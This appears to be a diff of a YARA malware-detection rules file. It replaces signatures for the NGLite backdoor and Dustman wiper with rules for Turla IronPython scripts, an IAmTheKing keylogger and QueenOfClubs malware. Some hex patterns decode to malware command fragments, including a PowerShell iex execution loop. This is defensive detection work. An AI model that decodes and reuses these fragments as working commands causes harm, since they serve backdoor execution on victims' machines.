+		$seq6 = { 48 8d bc 24 40 04 00 00 48 89 84 24 00 02 00 00 e8 0e e9 05 00 48 89 c3 48 89 84 24 08 02 00 00 e8 ee 1c fd ff 8b 40 08 48 83 c3 08 be 3e e4 5b 00 48 89 df 89 84 24 10 02 00 00 e8 d3 e8 fd ff 48 8b b4 24 20 04 00 00 48 89 df 48 8b 56 e8 e8 bf e5 fd ff 48 8d bc 24 00 02 00 00 e8 b2 d8 fd ff 48 83 bc 24 40 04 00 00 00 75 8f 48 8b 84 24 20 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 ee 0c fd ff 48 8b 84 24 00 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 d5 0c fd ff e8 10 c9 fe ff 84 c0 0f 84 48 02 00 00 48 8d 74 24 1d c6 04 24 00 48 89 ef e8 07 97 00 00 48 8b bc 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 c7 84 24 00 04 00 00 00 00 00 00 48 c7 84 24 08 04 00 00 00 00 00 00 48 c7 84 24 10 04 00 00 00 00 00 00 e8 3e db fe ff 84 c0 0f 84 c9 00 00 00 48 8b 84 24 08 04 00 00 48 2b 84 24 00 04 00 00 48 c1 f8 03 }
+		$seq7 = { 48 83 bc 24 40 04 00 00 00 75 95 48 8d bc 24 00 04 00 00 e8 b0 9e fe ff 48 8b bc 24 e8 03 00 00 48 85 ff 74 05 e8 0e 66 ff ff 48 8d bc 24 f0 00 00 00 e8 81 4d 00 00 48 8d b4 24 f0 00 00 00 4c 89 f7 e8 81 f0 ff ff 48 8d bc 24 40 04 00 00 be 02 e5 5b 00 e8 bf 93 ff ff 48 8d 94 24 f0 00 00 00 48 8d b4 24 40 04 00 00 48 8d bc 24 d0 00 00 00 e8 f2 d1 00 00 48 8b 84 24 40 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 29 0b fd ff 48 8d bc 24 60 04 00 00 be 18 00 00 00 e8 07 0e fd ff 48 8d bc 24 70 04 00 00 48 8d b4 24 d0 00 00 00 ba 01 00 00 00 e8 5d ad 00 00 48 8d b4 24 78 04 00 00 48 8d bc 24 b0 00 00 00 e8 38 0c fd ff 48 8d 94 24 b0 00 00 00 4c 89 f6 4c 89 ff e8 e5 c6 ff ff 48 8b 84 24 b0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 bc 0a fd ff 48 8d bc 24 60 04 00 00 e8 cf 16 fd ff 48 8d bc 24 f0 00 00 00 e8 52 4d 00 00 48 8d bc 24 d0 00 00 00 e8 45 4d 00 00 48 81 c4 f8 05 00 00 4c 89 f8 5b 5d 41 5c 41 5d }
+		$seq8 = { 4c 8d a4 24 64 05 00 00 66 0f 1f 44 00 00 e8 23 de fd ff 48 8d 94 24 20 04 00 00 48 8d bc 24 a0 03 00 00 48 89 c6 e8 eb df fd ff 48 8b 9c 24 a8 03 00 00 be f7 e4 5b 00 48 8d 7b 08 e8 f5 e2 fd ff 48 8d 7b 70 4c 89 e6 e8 d9 0b fd ff 48 8d bc 24 a0 03 00 00 e8 dc d2 fd ff 48 83 bc 24 20 04 00 00 00 75 a9 48 8d 84 24 c0 03 00 00 be 6c e4 5b 00 48 89 c7 48 89 44 24 08 e8 77 8f ff ff 48 8b 5c 24 08 48 8d 94 24 60 04 00 00 48 8d bc 24 d0 00 00 00 48 89 de e8 7a c8 00 00 48 8b 84 24 c0 03 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 e1 06 fd ff 48 8d b4 24 23 05 00 00 48 8d bc 24 a0 00 00 00 48 89 da e8 29 0d fd ff 48 8d 94 24 a0 03 00 00 48 8d b4 24 60 04 00 00 48 8d bc 24 90 00 00 00 e8 0c 0d fd ff 48 8d bc 24 90 00 00 00 be 90 d6 5c 00 e8 ba 16 fd ff 48 8b 10 48 89 94 24 20 04 00 00 48 c7 00 78 24 8a 00 48 8b 94 24 20 04 00 00 48 8b 84 24 a0 00 00 00 48 8b 4a e8 48 89 ce 48 03 70 e8 48 3b 72 f0 76 0a 48 3b 70 f0 0f 86 b7 08 00 00 48 8d b4 24 a0 00 00 00 48 8d bc 24 20 04 00 00 e8 08 0c fd ff 48 8b 10 be 8d e4 5b 00 48 89 ef 48 89 94 24 40 04 00 00 48 c7 00 78 24 8a 00 e8 89 8e ff ff 48 8d 94 24 40 04 00 00 48 8d bc 24 d0 00 00 00 48 89 ee e8 11 e1 ff ff 48 8b 84 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 f8 05 fd ff 48 8b 84 24 40 04 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 df 05 fd ff 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 c6 05 fd ff 48 8b 84 24 90 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 ad 05 fd ff 48 8b 84 24 a0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 94 05 fd ff 48 8d bc 24 00 04 00 00 be 4c e4 5b 00 e8 e2 8d ff ff 48 8d 94 24 e2 04 00 00 48 8d b4 24 00 04 00 00 48 8d bc 24 d0 00 00 00 e8 e5 c6 00 00 48 8b 84 24 00 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 4c 05 fd ff 48 8d bc 24 20 04 00 00 be 98 e4 5b 00 e8 9a 8d ff ff 48 8d 94 24 64 05 00 00 48 8d b4 24 20 04 00 00 48 8d bc 24 d0 00 00 00 e8 9d c6 00 00 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >600KB and 5 of them
+		uint32(0)==0x464c457f and filesize >300KB and 7 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_Turla_Ironpython_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Detect NGLite backdoor (version A)"
+		description = "Detect IronPython script used by Turla group"
 		author = "Arkbird_SOLG"
-		id = "cf2845f3-1176-5197-9d05-f123b0f23c75"
-		date = "2021-11-09"
-		modified = "2021-11-09"
-		reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_1.yara#L1-L19"
+		id = "303929d4-2c43-5e43-aeb0-09f469f7091b"
+		date = "2021-04-30"
+		modified = "2021-05-01"
+		reference = "https://twitter.com/DrunkBinary/status/1388332507695919104"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Turla/APT_Turla_IronPython_Apr_2021_1.yara#L1-L26"
 		license_url = "N/A"
-		logic_hash = "ebafc52da76b9a960ee3c2c99955fb5dcb4acff2b7a0d7fad714bfc17617331a"
+		logic_hash = "f6b626cddb4832f842a15eddce705fb24125e4341c425cf27dbbe537e2a98bdc"
 		score = 75
-		quality = 75
+		quality = 57
 		tags = "FILE"
-		hash1 = "7e4038e18b5104683d2a33650d8c02a6a89badf30ca9174576bf0aff08c03e72"
-		hash2 = "3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd"
-		tlp = "white"
-		adversary = "-"
+		hash1 = "65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361"
+		hash2 = "c430ebab4bf827303bc4ad95d40eecc7988bdc17cc139c8f88466bc536755d4e"
+		hash3 = "f76257749792cc4e54f75d0e7a83e7a4429395c5dbc48078a8068575d7e9a98"
+		tlp = "White"
+		adversary = "Turla"
 
 	strings:
-		$s1 = { 48 8b 05 48 e7 90 00 48 8d 0d 99 4b 99 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 08 02 00 00 e8 82 21 00 00 48 8b 44 24 18 48 85 c0 74 33 48 3d 08 02 00 00 77 2b 48 8d 1d 69 4b 99 00 c6 04 03 5c 48 ff c0 48 89 05 4b 3f 99 00 e9 d6 fe ff ff 31 c0 e8 8f fc 02 00 ba 09 02 00 00 e8 b5 fc 02 00 48 8d 05 fe d5 55 00 48 89 04 24 48 c7 44 24 08 24 00 00 00 e8 cc 44 00 00 31 c0 e8 65 fc 02 00 90 e8 af d2 02 }
-		$s2 = { 48 83 ec 70 48 89 6c 24 68 48 8d 6c 24 68 48 c7 44 24 30 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 8b 05 bf dc 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 28 48 89 44 24 18 e8 39 17 00 00 48 83 7c 24 20 00 74 35 31 c0 31 c9 eb 24 48 89 ca 48 89 c1 bb 01 00 00 00 48 d3 e3 48 23 5c 24 30 48 8d 72 01 48 85 db 48 0f 45 d6 48 ff c0 48 89 d1 48 83 f8 40 7c d6 48 85 c9 75 3e 0f 57 c0 0f 11 44 24 38 0f 11 44 24 48 0f 11 44 24 58 48 8b 05 23 dc 90 00 48 89 04 24 48 8d 44 24 38 48 89 44 24 08 e8 10 16 00 00 8b 44 24 58 89 44 24 78 48 8b 6c 24 68 48 83 c4 70 c3 89 4c 24 78 48 8b 6c 24 68 48 }
-		$s3 = { 48 8b 05 60 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 02 07 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 10 03 00 00 48 85 c0 0f 84 80 00 00 00 48 8b 05 29 cc 90 00 48 89 04 24 0f 57 c0 0f 11 44 24 08 0f 11 44 24 18 e8 cb 06 00 00 48 8b 44 24 28 48 8b 4c 24 40 48 89 81 18 03 00 00 48 85 c0 74 0a 48 8b 6c 24 30 48 83 c4 38 c3 48 8d 05 ac e0 56 00 48 89 04 24 e8 1b b6 02 00 48 8b 05 e4 cb 90 00 48 8b 4c 24 40 48 8b 91 10 03 00 00 48 89 04 24 48 89 54 24 08 e8 5a 05 00 00 48 8b 44 24 40 48 c7 80 10 03 00 00 00 00 00 00 eb b3 48 8d 05 61 e0 56 00 48 89 04 24 e8 d8 b5 02 00 e9 6b ff ff ff 48 8b 6c 24 30 48 83 c4 38 }
-		$s4 = { 48 81 ec a0 00 00 00 48 89 ac 24 98 00 00 00 48 8d ac 24 98 00 00 00 48 c7 44 24 48 00 00 00 00 48 8b 05 8a c9 90 00 48 89 04 24 48 c7 44 24 08 ff ff ff ff 48 c7 44 24 10 fe ff ff ff 48 c7 44 24 18 ff ff ff ff 48 8d 44 24 48 48 89 44 24 20 0f 57 c0 0f 11 44 24 28 48 c7 44 24 38 02 00 00 00 e8 3b 05 00 00 65 48 8b 04 25 28 00 00 00 48 8b 80 00 00 00 00 48 8b 40 30 48 8b 4c 24 48 48 87 88 78 02 00 00 0f 57 c0 0f 11 44 24 68 0f 11 44 24 78 0f 11 84 24 88 00 00 00 48 8b 05 5f c8 90 00 48 89 04 24 48 8d 44 24 68 48 89 44 24 08 48 8d 44 24 68 48 89 44 24 10 48 c7 44 24 18 30 00 00 00 e8 59 03 00 00 48 83 7c 24 20 }
-		$s5 = { 48 8b 15 26 29 92 00 48 89 14 24 48 89 4c 24 08 48 89 44 24 10 48 c7 44 24 18 00 10 00 00 48 c7 44 24 20 04 00 00 00 e8 71 64 01 00 48 83 7c 24 28 00 40 0f 94 c6 48 8b 44 24 38 48 8b 4c 24 48 48 8b 54 24 68 48 8b 5c 24 40 e9 61 ff ff ff 48 8b 6c 24 50 48 83 c4 58 c3 48 8b 6c 24 50 48 83 c4 58 c3 e8 25 91 01 00 48 8d 05 e2 b8 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 bc 9a 01 00 48 8b 44 24 38 48 89 04 24 e8 be 97 01 00 48 8d 05 9a b1 56 00 48 89 04 24 48 c7 44 24 08 19 00 00 00 e8 95 9a 01 00 8b 44 24 34 48 89 04 24 e8 98 97 01 00 e8 73 93 01 00 e8 5e 91 01 00 48 8d }
+		$s1 = { 6c 61 6d 62 64 61 20 73 2c 6b 3a 27 27 2e 6a 6f 69 6e 28 5b 63 68 72 28 28 6f 72 64 28 63 29 5e 6b 29 25 30 78 31 30 30 29 20 66 6f 72 20 63 20 69 6e 20 73 5d 29 }
+		$s2 = { 66 72 6f 6d 20 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 20 69 6d 70 6f 72 74 2a }
+		$s3 = { 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 28 4b 65 79 53 69 7a 65 3d 31 32 38 2c 42 6c 6f 63 6b 53 69 7a 65 3d 31 32 38 29 }
+		$s4 = { 72 65 74 75 72 6e 20 53 79 73 74 65 6d 2e 41 72 72 61 79 5b 53 79 73 74 65 6d 2e 42 79 74 65 5d 28 5b 6f 72 64 28 78 29 66 6f 72 20 78 20 69 6e 20 6c 69 73 74 28 73 74 72 29 5d 29 }
+		$s5 = { 53 79 73 74 65 6d 2e 41 72 72 61 79 2e 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 53 79 73 74 65 6d 2e 42 79 74 65 2c [10-12] 2e 4c 65 6e 67 74 68 29 }
+		$s6 = { 28 62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 [4-10] 5b 31 36 3a 5d 29 2c 73 79 73 2e 61 72 67 76 5b 31 5d 2c [4-10] 5b 3a 31 36 5d 2c }
+		$s7 = { 41 73 73 65 6d 62 6c 79 2e 4c 6f 61 64 28 }
+		$s8 = { 20 69 66 20 6c 65 6e 28 73 79 73 2e 61 72 67 76 29 21 3d 32 3a }
+		$s9 = { 65 78 63 65 70 74 20 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 45 78 63 65 70 74 69 6f 6e 20 61 73 20 65 78 3a }
+		$s10 = { 69 66 20 5f 5f 6e 61 6d 65 5f 5f 3d 3d }
+		$s11 = { 2e 66 6f 72 6d 61 74 28 65 78 2e 4d 65 73 73 61 67 65 2c 65 78 2e 53 74 61 63 6b 54 72 61 63 65 29 29 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 4 of ($s*)
+		filesize >100KB and 9 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Nglite_Nov_2021_2 : FILE
+rule ARKBIRD_SOLG_MAL_Keylogger_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Detect NGLite backdoor (version B)"
+		description = "Detect a keylogger used by IAmTheKing group"
 		author = "Arkbird_SOLG"
-		id = "e18f2891-366b-5cff-a17e-63523bfd9cee"
-		date = "2021-11-08"
-		modified = "2021-11-09"
-		reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-08/NGLite/MAL_NGLite_Nov_2021_2.yara#L1-L19"
+		id = "186dc5f5-5cc2-551a-a34c-e775085e7f89"
+		date = "2021-07-09"
+		modified = "2021-07-12"
+		reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_Keylogger_Jul_2021_1.yara#L1-L22"
 		license_url = "N/A"
-		logic_hash = "4d44d208010ca17f47f597f7d9eb5ee39d91a2d9077218a173ef0015699dc296"
+		logic_hash = "dfdf5892564b93cd1bf564cfe62e37d9477b5ae0bf20e0f9a44ee97b7e3a99f8"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		hash1 = "3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d"
-		hash2 = "805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f"
-		tlp = "white"
-		adversary = "-"
+		hash1 = "4c6995cb65ffeac1272d296eb3273b9fbca7f4d603312a5085b5c3be96154915"
+		hash2 = "79d363a163dfb0088545e66404e0213a9e18d5ee66713d7bc906ed97c46b5ca3"
+		tlp = "White"
+		adversary = "IAmTheKing"
 
 	strings:
-		$s1 = { 8b 05 64 ?? bf 00 8d 0d e0 ?? c6 00 89 04 24 89 4c 24 04 c7 44 24 08 08 02 00 00 e8 d0 1d 00 00 8b 44 24 0c 85 c0 74 2e 3d 08 02 00 00 77 27 8d 1d e0 ?? c6 00 c6 04 03 5c 40 89 05 24 ?? c6 00 e9 0b ff ff ff 31 c0 e8 44 9f 02 00 ba 09 02 00 00 e8 6a 9f 02 00 8d 05 ?? 7b 8a 00 89 04 24 c7 44 24 04 24 00 00 00 e8 a4 3b 00 00 31 c0 e8 1d 9f 02 00 90 e8 57 86 02 }
-		$s2 = { 83 ec 40 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 8b 05 70 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff 8d 44 24 18 89 44 24 08 8d 44 24 14 89 44 24 0c e8 21 15 00 00 8b 44 24 10 85 c0 74 32 31 c0 31 c9 eb 03 40 89 d1 83 f8 20 7d 20 19 d2 89 cb 89 c1 bd 01 00 00 00 d3 e5 21 d5 23 6c 24 18 85 ed 74 05 8d 53 01 eb dc 89 da eb d8 85 c9 75 2d 8d 7c 24 1c 31 c0 e8 63 98 02 00 8b 0d 60 ?? bf 00 89 0c 24 8d 4c 24 1c 89 4c 24 04 e8 46 14 00 00 8b 4c 24 30 89 4c 24 44 83 c4 40 c3 89 4c 24 44 83 c4 40 c3 e8 4d 7d 02 00 e9 38 }
-		$s3 = { 0f b6 2c 13 95 80 f8 80 95 72 f0 c7 44 24 20 00 00 00 00 8b 0d 7c ?? bf 00 89 0c 24 89 44 24 04 8d 4c 24 20 89 4c 24 08 e8 77 0b 00 00 8b 44 24 0c 85 c0 75 4a c7 44 24 1c 00 00 00 00 8b 05 20 ?? bf 00 89 04 24 8b 44 24 24 89 44 24 04 8b 44 24 30 89 44 24 08 8b 44 24 34 89 44 24 0c 8d 44 24 1c 89 44 24 10 c7 44 24 14 00 00 00 00 e8 f1 0b 00 00 8b 44 24 1c 89 44 24 38 83 c4 28 c3 8b 44 24 24 89 04 24 8b 44 24 30 89 44 24 04 8b 44 24 34 89 44 24 08 e8 59 00 00 00 8b 44 24 }
-		$s4 = { 83 ec 50 c7 44 24 24 00 00 00 00 8b 05 88 ?? bf 00 89 04 24 c7 44 24 04 ff ff ff ff c7 44 24 08 fe ff ff ff c7 44 24 0c ff ff ff ff 8d 44 24 24 89 44 24 10 c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 c7 44 24 1c 02 00 00 00 e8 09 04 00 00 64 8b 05 14 00 00 00 8b 80 00 00 00 00 8b 40 18 84 00 05 68 01 00 00 89 04 24 8b 44 24 24 89 44 24 04 e8 d2 86 fd ff 8d 7c 24 34 31 c0 e8 60 86 02 00 8b 05 30 ?? bf 00 89 04 24 8d 44 24 34 89 44 24 04 8d 44 24 34 89 44 24 08 c7 44 24 0c 1c 00 00 00 e8 b1 02 00 00 8b 44 24 }
-		$s5 = { 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ed 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b4 01 00 00 85 c0 74 7e 8b 05 94 ?? bf 00 89 04 24 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 e8 ad 05 00 00 8b 44 24 14 8b 4c 24 1c 89 81 b8 01 00 00 85 c0 74 04 83 c4 18 c3 8d 05 ?? ?? 8b 00 89 04 24 e8 c9 6c 02 00 8b 05 98 ?? bf 00 8b 4c 24 1c 8b 91 b4 01 00 00 89 04 24 89 54 24 04 e8 ad 04 00 00 8b 44 24 1c c7 80 b4 01 }
+		$s1 = "sonme hting is wrong x" fullword ascii
+		$s2 = { 25 73 25 73 25 73 25 73 }
+		$s3 = { 0d 0a 5b 44 41 54 41 5d 3a 0d 0a 00 4c 6f 67 2e 74 78 74 }
+		$s4 = { 0d 0a 5b 54 49 4d 45 3a 5d 25 64 2f 25 64 2f 25 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 0d 0a 5b 54 49 54 4c 45 3a 5d }
+		$s5 = { 25 73 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 }
+		$s6 = { 6a 00 56 ff 75 f8 8d 45 e4 50 ff 75 f0 ff 75 f4 ff 75 08 ff 15 c4 80 40 00 8b f0 3b f7 74 12 56 ff 15 70 80 40 00 85 c0 75 1b 56 ff 15 78 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 4 of ($s*)
+		uint16(0)==0x5a4d and filesize >25KB and 5 of ($s*)
 }
-rule ARKBIRD_SOLG_APT_APT34_Dustman_Apr_2021_1 : FILE
+rule ARKBIRD_SOLG_MAL_Queenofclubs_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Detect the Installer of Dustman wiper used by APT34"
+		description = "Detect QueenOfClubs malware"
 		author = "Arkbird_SOLG"
-		id = "071063f5-d2a4-5666-a8c4-283c02061f6d"
-		date = "2021-04-28"
-		modified = "2021-04-30"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-29/APT34/APT_APT34_Dustman_Apr_2021_1.yara#L1-L19"
+		id = "d78df760-5753-528c-b03d-7bb91ec658c0"
+		date = "2021-07-09"
+		modified = "2021-07-12"
+		reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfClubs_Jul_2021_1.yara#L1-L21"
 		license_url = "N/A"
-		logic_hash = "44e68fa21c1d6258bc9c0dcdc9cc531a15081122c90b23607bcfda716471aeb6"
+		logic_hash = "c6fe9dd24098ef3c281d9e6727613499988c88b9d2011af77390e0ce358bebf4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "a9397eb9e95087db7e03239c689776d56c1450d685568564acd90e1532c78882"
-		tlp = "white"
-		adversary = "APT34"
+		hash1 = "b0a1da4fc5526365df495094f65660d88487ce5e60192e5fb4075e815f9481d3"
+		tlp = "White"
+		adversary = "IAmTheKing"
 
 	strings:
-		$s1 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 00 00 00 00 00 2f 63 20 61 67 65 6e 74 2e 65 78 65 20 41 00 00 44 00 6f 00 77 00 6e 00 20 00 57 00 69 00 74 00 68 00 20 00 42 00 69 00 6e 00 20 00 53 00 61 00 6c 00 6d 00 61 00 6e 00 00 00 00 00 5c 00 }
-		$s2 = "\\assistant.sys" fullword wide
-		$s3 = { 61 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 00 00 00 00 00 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4f 00 72 00 61 00 63 00 6c 00 65 00 5c 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 42 00 6f 00 78 00 00 00 00 00 54 68 65 20 4d 61 67 69 63 20 57 6f 72 64 21 00 56 00 42 00 6f 00 78 00 44 00 72 00 76 00 00 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 00 00 56 00 42 00 6f 00 78 00 55 00 53 00 42 00 4d 00 6f 00 6e 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 41 00 64 00 70 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 4c 00 77 00 66 }
-		$s4 = { 5c 00 5c 00 2e 00 5c 00 25 00 73 }
-		$s5 = { 68 54 00 00 00 68 00 00 00 00 68 80 69 40 00 e8 f4 0f 00 00 83 c4 0c 68 00 00 00 00 e8 ed 0f 00 00 a3 84 69 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 e8 da 0f 00 00 a3 80 69 40 00 e8 fc 2f 00 00 e8 7d 2c 00 00 e8 7a 18 00 00 e8 1d 12 00 00 e8 40 2d 00 00 68 00 00 00 00 e8 78 2f 00 00 a3 8c 69 40 00 68 00 00 00 00 e8 8d 2f 00 00 a3 90 69 40 00 c7 05 94 69 40 00 5a 00 00 00 c7 05 98 69 40 00 14 00 00 00 8b 1d 8c 69 40 00 2b 1d 94 69 40 00 83 c3 ea 89 1d 9c 69 40 00 8b 1d 90 69 40 00 2b 1d 98 69 40 00 83 c3 cc 89 1d a0 69 40 00 68 00 00 c8 00 68 18 60 40 00 ff 35 98 69 40 00 ff 35 94 69 40 00 ff 35 a0 69 40 00 ff 35 9c 69 40 00 68 00 00 00 }
-		$s6 = "Release\\Dustman.pdb" fullword ascii
+		$s1 = { 66 00 6f 00 72 00 28 00 3b 00 3b 00 29 00 7b 00 24 00 53 00 3d 00 47 00 65 00 74 00 2d 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 22 00 25 00 73 00 22 00 3b 00 49 00 46 00 28 00 24 00 53 00 29 00 7b 00 22 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 00 3b 00 24 00 74 00 3d 00 69 00 65 00 78 00 20 00 24 00 53 00 20 00 32 00 3e 00 22 00 25 00 73 00 22 00 3b 00 24 00 74 00 3d 00 24 00 74 00 2b 00 27 00 20 00 27 00 3b 00 65 00 63 00 68 00 6f 00 20 00 24 00 74 00 20 00 3e 00 3e 00 22 00 25 00 73 00 22 00 3b 00 7d 00 73 00 6c 00 65 00 65 00 70 00 20 00 2d 00 6d 00 20 00 36 00 30 00 30 00 3b 00 7d }
+		$s2 = { 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 63 00 20 00 25 00 73 }
+		$s3 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e }
+		$s4 = { 5c 00 7e 00 74 00 6d 00 70 00 5f 00 [6-20] ( 00 2e 00 6a 00 70 00 67 | 00 2e 00 70 00 73 00 31) }
+		$s5 = { c7 45 d8 ac 89 41 00 c7 45 dc 00 00 00 00 6a 01 68 00 00 40 04 8d 55 d8 52 68 c8 89 41 00 68 e0 89 41 00 8b 45 c0 83 c0 08 50 68 ec 89 41 00 8b 4d f4 51 ff 15 78 62 41 00 8b 55 c0 89 42 04 8b 45 c0 83 78 04 00 75 19 8b 4d f0 51 ff 15 74 62 41 00 8b 55 f4 52 ff 15 74 62 41 00 e9 14 ff ff ff 68 3c 04 00 00 e8 b7 70 00 00 83 c4 04 89 45 d0 8b 45 d0 89 45 e0 68 ec 01 00 00 e8 a1 70 00 00 83 c4 04 89 45 cc 8b 4d cc 89 4d d4 8b 55 c0 8b 32 b9 7b 00 00 00 8b 7d d4 f3 a5 6a 01 8b 45 c0 83 c0 1c 50 68 ec 01 00 00 8b 4d d4 51 68 c1 f5 09 00 8b 55 c0 83 c2 20 52 e8 04 ef ff ff }
+		$s6 = "http://bot.google.com" fullword ascii
+		$s7 = { 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 00 00 25 00 73 00 00 00 00 00 25 00 73 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >50KB and 4 of them
+		uint16(0)==0x5a4d and filesize >35KB and 5 of ($s*)
 }
 rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_1 : FILE
 {
@@ -193326,40 +199365,6 @@ rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_1 : FILE
 	condition:
 		uint16(0)==0x5a4d and filesize >100KB and 6 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Queenofhearts_Jul_2021_1 : FILE
-{
-	meta:
-		description = "Detect QueenOfHearts malware"
-		author = "Arkbird_SOLG"
-		id = "763b35dd-6515-5ae8-a539-200a3647f074"
-		date = "2021-07-09"
-		modified = "2021-07-12"
-		reference = "https://twitter.com/ShadowChasing1/status/1413111641504292864"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfHearts_Jul_2021_1.yara#L1-L23"
-		license_url = "N/A"
-		logic_hash = "51cb8efddbc635e9a54f58a799e6edcf8eda8ca451ebe85cbce5f6cd20bfb083"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "44eb620879e0c3f80ff95fda5b1e301d471b59e47c4002132df646acfc7cc5ba"
-		hash2 = "a63600e5c28a4c1770a53d310ff017abd3cb9c20cb58a85d53df0c06bcae1864"
-		hash3 = "f110ebee387c2dfac08beb674a8efec20940bc562c5231e9bb4a90296476c29f"
-		tlp = "White"
-		adversary = "IAmTheKing"
-
-	strings:
-		$s1 = "send request error:%d" fullword ascii
-		$s2 = "cookie size :%d" fullword wide
-		$s3 = "querycode error" fullword wide
